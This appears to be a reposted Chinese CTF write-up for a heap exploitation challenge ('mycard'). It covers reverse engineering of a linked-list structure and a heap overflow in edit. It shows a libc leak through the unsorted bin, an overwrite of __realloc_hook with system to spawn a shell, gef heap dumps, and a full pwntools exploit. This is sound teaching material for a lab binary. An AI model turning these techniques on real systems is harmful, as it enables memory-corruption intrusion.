内容简介:程序源文件:链接:
程序源文件:
链接: https://pan.baidu.com/s/13HavhR0UVg0c9SYfZzAX5g
提取码:t8rt
昨天做了这道题没做出来,看了wp却只有思路没有exp,于是自己又捣鼓了一天写出了详细的程序分析和exp编写,适合新手一起学习.建议边调试边阅读.
1.值得学习的地方:
程序canary,nx,pie,aslr全开,所以要绕过特定保护
如何泄露地址.
如何利用realloc.
逆向分析链表结构.
2.程序分析
canary,nx,pie,aslr保护开启
3个功能.create,edit, delete
create分析:
首先向栈中输入name,这里没有栈溢出,再输入描述(desc表示)的长度(desc_len),该处也没有栈溢出.通过strtol将desc_len字符串转为数字作为malloc的参数,进行分配desc的内存. 大小不能大于1024字节,然后输入desc.
继续分配一个结构体,如下:
struct moon{
char name[0x40];
dword desc_len;
char desc[desc_len];
};
该结构也是通过malloc分配的.然后将name通过strncpy复制到moon中,写入desc_len,
再通过memcpy复制desc到其中. 这里检查严格,都没有堆溢出.
由于desc已经复制到moon中了,所以将之前分配的desc释放掉.
继续分配一个结构体如下:
strcut node
{
struct moon p;
strcut node pre;//程序使用了双链表结构,这个指向前一个节点,如果是第一个则指向自己
strcut node* next;///程序使用了双链表结构,这个指向下一个节点
}
将p指向新分配的moon后,插入到链表头ptr,该全局变量位于.bss节上.
插入方式是再双链表末尾插入.
里面构建这样一个链表结构:
help:
该函数遍历双链表,将已有的moon的name和desc通过write输出,而且这里的write输出长度固定,如下图,所以可以用于泄露libc基址.最后记录链表node个数并返回.
edit:
首先通过help得到node个数,如果为空,直接返回.再继续输入id号,当id号非法则相当于只show而不edit了,再输入name,将其写入到目标结构的name成员.再输入长度,转为数字,判断数字是否比原来的desc大,如果没有则用新输入的desc覆盖写入,否则通过realloc重新分配堆内存再写入desc成员中.
关键点如下:
这个判断有问题,导致0x44字节的堆溢出. 由此可知如果通过堆溢出修改到一个node节点的p指针,然后再次edit它,不就能实现任意地址写任意数据了.
此外细心点发现,realloc分配的内存竟然只将最低1字节写入了该结构.所以构造时要小心.
delete分析:
首先还是通过help得到链表节点数,如果为0直接退出.然后输入id.由于create时,第一个node的pre指针指向自己,所以程序通过判断是否id为1,当id=1和>1是不同的处理逻辑.
但最终还是正常地摘下某个节点,使链表仍然保持双链表结构.摘下节点后,先释放节点的p指向的结构的内存,然后释放节点内存.
3.漏洞利用分析
首先是地址泄露.从上面的分析可知,当创建一个moon后再释放,代码及堆结构如下:
create('asdf',0xc+0x40,'desc')#这里使为了使moon内存分配的大小为0x90(0x4c+0x4+0x40),释放后在unsorted bin中.这里0x90+head的0x10字节就是0xa了.
delete(1)
gef➤ heap chunks
Chunk(addr=0x555debb46010, size=0x60, flags=PREV_INUSE)这个是释放后的desc
[0x0000555debb46010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
Chunk(addr=0x555debb46070, size=0xa0, flags=PREV_INUSE)这里是释放后的moon结构
[0x0000555debb46070 78 4b 92 2f 4b 7f 00 00 78 4b 92 2f 4b 7f 00 00 xK./K...xK./K...]
Chunk(addr=0x555debb46110, size=0x20, flags=)这里是释放后的node结构
[0x0000555debb46110 00 00 00 00 00 00 00 00 10 61 b4 eb 5d 55 00 00 .........a..]U..]
Chunk(addr=0x555debb46130, size=0x20ee0, flags=PREV_INUSE) ← top chunk
────────────────────────── Fastbins for arena 0x7f4b2f924b20 ──────────────────────────
Fastbins[idx=0, size=0x10] ← Chunk(addr=0x555debb46110, size=0x20, flags=)
Fastbins[idx=1, size=0x20] 0x00
Fastbins[idx=2, size=0x30] 0x00
Fastbins[idx=3, size=0x40] 0x00
Fastbins[idx=4, size=0x50] ← Chunk(addr=0x555debb46010, size=0x60, flags=PREV_INUSE)
Fastbins[idx=5, size=0x60] 0x00
Fastbins[idx=6, size=0x70] 0x00
───────────────────────── Unsorted Bin for arena 'main_arena' ─────────────────────────
[+] unsorted_bins[0]: fw=0x555debb46060, bk=0x555debb46060
→ Chunk(addr=0x555debb46070, size=0xa0, flags=PREV_INUSE)
[+] Found 1 chunks in unsorted bin.
────────────────────────── Small Bins for arena 'main_arena' ──────────────────────────
[+] Found 0 chunks in 0 small non-empty bins.
────────────────────────── Large Bins for arena 'main_arena' ──────────────────────────
[+] Found 0 chunks in 0 large non-empty bins.
再申请内存,并输出:
create('name',0x90,'qwer')#让desc分配为上次释放的内存,这样后8字节指向main_arena中了,通过write输出即可泄露libc基址.
print p.recvuntil('4:exitn')
p.sendline('3')
print p.recvuntil('Description :qwer')
heap_addr = p.recvuntil('>') #由于将desc复制到moon结构中,通过edit将信息泄露
p.sendline(str(123))#输入非法id,使只输出信息,不进行edit,就返回.
heap_addr = heap_addr[4:12]
heap_addr = u64(heap_addr)
print 'heap_addr: ',hex(heap_addr)
libc_base = heap_addr-0x3c4b78
print 'libc base:', hex(libc_base)
[1] Name :name
Description :qwer
heap_addr: 0x7f4b2f924b78
libc base: 0x7f4b2f560000
由此已经得到libc基址
再思考如何利用edit实现任意地址写任意数据.如果能够构造当前realloc之后的moon堆块的下一个堆块是某个node所在的内存,那就可以通过修改下一个node的p指针为 realloc_hook的地址,然后edit这个node,使用name写入system到 realloc_hook,再通过调用realloc而转入调用__realloc_hook劫持程序.
create('second', 0xa0,'asdf')
create('third', 0xc,'asdf')
create('fourth',0x50,'asdf')
delete(2)
此时堆块情况如下:
gef➤ heap chunks
Chunk(addr=0x555debb46010, size=0x60, flags=PREV_INUSE)第3个的moon
[0x0000555debb46010 74 68 69 72 64 00 00 00 00 00 00 00 00 00 00 00 third...........]
Chunk(addr=0x555debb46070, size=0x20, flags=PREV_INUSE)第2个的node,已free,在fastbin
[0x0000555debb46070 00 00 00 00 00 00 00 00 10 61 b4 eb 5d 55 00 00 .........a..]U..]
Chunk(addr=0x555debb46090, size=0x20, flags=PREV_INUSE)第3个的node
[0x0000555debb46090 10 60 b4 eb 5d 55 00 00 78 60 b4 eb 5d 55 00 00 .`..]U..x`..]U..]
Chunk(addr=0x555debb460b0, size=0x60, flags=PREV_INUSE)已free,在fastbin
[0x0000555debb460b0 00 00 00 00 00 00 00 00 78 4b 92 2f 4b 7f 00 00 ........xK./K...]
Chunk(addr=0x555debb46110, size=0x20, flags=PREV_INUSE)第1个的node
[0x0000555debb46110 30 61 b4 eb 5d 55 00 00 10 61 b4 eb 5d 55 00 00 0a..]U...a..]U..]
Chunk(addr=0x555debb46130, size=0xe0, flags=PREV_INUSE)第1个的moon
[0x0000555debb46130 6e 61 6d 65 00 00 00 00 00 00 00 00 00 00 00 00 name............]
Chunk(addr=0x555debb46210, size=0xb0, flags=PREV_INUSE)第4个的moon
[0x0000555debb46210 66 6f 75 72 74 68 00 00 00 00 00 00 00 00 00 00 fourth..........]
Chunk(addr=0x555debb462c0, size=0xf0, flags=PREV_INUSE)第2个的moon,已free,在unsorted bin
[0x0000555debb462c0 78 4b 92 2f 4b 7f 00 00 78 4b 92 2f 4b 7f 00 00 xK./K...xK./K...]
Chunk(addr=0x555debb463b0, size=0x20, flags=)第4个的node
[0x0000555debb463b0 10 62 b4 eb 5d 55 00 00 90 60 b4 eb 5d 55 00 00 .b..]U...`..]U..]
Chunk(addr=0x555debb463d0, size=0x20c40, flags=PREV_INUSE) ← top chunk
gef➤ heap bins
[+] No Tcache in this version of libc
────────────────────────────────────────────────────────────────── Fastbins for arena 0x7f4b2f924b20 ──────────────────────────────────────────────────────────────────
Fastbins[idx=0, size=0x10] ← Chunk(addr=0x555debb46070, size=0x20, flags=PREV_INUSE)
Fastbins[idx=1, size=0x20] 0x00
Fastbins[idx=2, size=0x30] 0x00
Fastbins[idx=3, size=0x40] 0x00
Fastbins[idx=4, size=0x50] ← Chunk(addr=0x555debb460b0, size=0x60, flags=PREV_INUSE)
Fastbins[idx=5, size=0x60] 0x00
Fastbins[idx=6, size=0x70] 0x00
───────────────────────────────────────────────────────────────── Unsorted Bin for arena 'main_arena' ─────────────────────────────────────────────────────────────────
[+] unsorted_bins[0]: fw=0x555debb462b0, bk=0x555debb462b0
→ Chunk(addr=0x555debb462c0, size=0xf0, flags=PREV_INUSE)
[+] Found 1 chunks in unsorted bin.
────────────────────────────────────────────────────────────────── Small Bins for arena 'main_arena' ──────────────────────────────────────────────────────────────────
[+] Found 0 chunks in 0 small non-empty bins.
────────────────────────────────────────────────────────────────── Large Bins for arena 'main_arena' ──────────────────────────────────────────────────────────────────
[+] Found 0 chunks in 0 large non-empty bins.
从这里可以发现,再次edit 节点2的时候(此时edit的是原来的第3个,因为第2个被delete掉了,后面的往前减1). 可以通过1字节的realloc地址再低位写入c0,即:0x555debb46010-->0x555debb460c0而第1个的node地址为0x555debb46110.只相差0x50字节,通过edit就可以将第1个node的p指针写入__realloc_hook地址.
getshell:
payload = 'a'*(0xc)#从0x555debb460c0+0x44开始写,故填充0xc个'a'就能到下一个 node了 payload += p64(malloc_hook_addr)#修改第1个node为__realloc_hook地址 edit(2,'asdf',0xa0,payload) edit(1,p64(one_gadget),0x20,'asdf')#修改__realloc_hook为system地址 edit(2,'/bin/shx00',0x300,'asdf')#getshell!!. ......... Len? Description : [*] Switching to interactive mode /bin/sh: 1: asdf: not found whoami root
4.总结
通过修改hook绕过pie,alsr等保护
通过write和unsorted bin泄露libc
通过realloc和堆自身的分配机制和堆溢出实现修改任意内存.
本题的堆分配及释放较复杂, 需要逆向分析链表结构, 所以通过一边分析一边调试还是对新手很有收获的.
5.附上完整exp:
from pwn import *
p = process('./mycard')
libc = ELF('./libc.so.6')
elf = ELF('./mycard')
def create(name,desc_len,desc):
print p.recvuntil('4:exitn')
p.sendline('1')
print p.recvuntil('Name:')
p.sendline(name)
print p.recvuntil('Len:')
p.sendline(str(desc_len))
print p.recvuntil('Description:')
p.sendline(desc)
return
def delete(no):
print p.recvuntil('4:exitn')
p.sendline('2')
print p.recvuntil('>')
p.sendline(str(no))
return
def edit(no, name, desc_len, desc):
print p.recvuntil('4:exitn')
p.sendline('3')
print p.recvuntil('>')
p.sendline(str(no))
print p.recvuntil('New name?')
p.sendline(name)
print p.recvuntil('Len?')
p.sendline(str(desc_len))
print p.recvuntil('Description :')
p.sendline(desc)
return
create('asdf',0xc+0x40,'desc')
#gdb.attach(p)
delete(1)
create('name',0x90,'qwer')
print p.recvuntil('4:exitn')
p.sendline('3')
print p.recvuntil('Description :qwer')
heap_addr = p.recvuntil('>')
p.sendline(str(123))
heap_addr = heap_addr[4:12]
heap_addr = u64(heap_addr)
print 'heap_addr: ',hex(heap_addr)
libc_base = heap_addr-0x3c4b78
print 'libc base:', hex(libc_base)
malloc_hook_addr = libc_base+libc.sym['__realloc_hook']
one_gadget = libc_base+libc.sym['system']
create('second', 0xa0,'asdf')
create('third', 0xc,'asdf')
create('fourth',0x50,'asdf')
delete(2)
payload = 'a'*(0xc)
payload += p64(malloc_hook_addr)
edit(2,'asdf',0xa0,payload)
edit(1,p64(one_gadget),0x20,'asdf')
edit(2,'/bin/shx00',0x300,'asdf')
p.interactive()
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- 分析用Golang编写的新窃取程序
- 分析用Golang编写的新恶意软件
- 一个golang编写的redis内存分析工具rma4go
- SRE: 性能分析: 一个 Go 编写的简单 HTTP Web 服务器的优化方法
- 基于顺丰同城接口编写sdk,java三方sdk编写思路
- 使用 Clojure 编写 OpenWhisk 操作,第 1 部分: 使用 Lisp 方言为 OpenWhisk 编写简明的代码
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
The Smashing Book
Jacob Gube、Dmitry Fadeev、Chris Spooner、Darius A Monsef IV、Alessandro Cattaneo、Steven Snell、David Leggett、Andrew Maier、Kayla Knight、Yves Peters、René Schmidt、Smashing Magazine editorial team、Vitaly Friedman、Sven Lennartz / 2009 / $ 29.90 / € 23.90
The Smashing Book is a printed book about best practices in modern Web design. The book shares technical tips and best practices on coding, usability and optimization and explores how to create succes......一起来看看 《The Smashing Book》 这本书的介绍吧!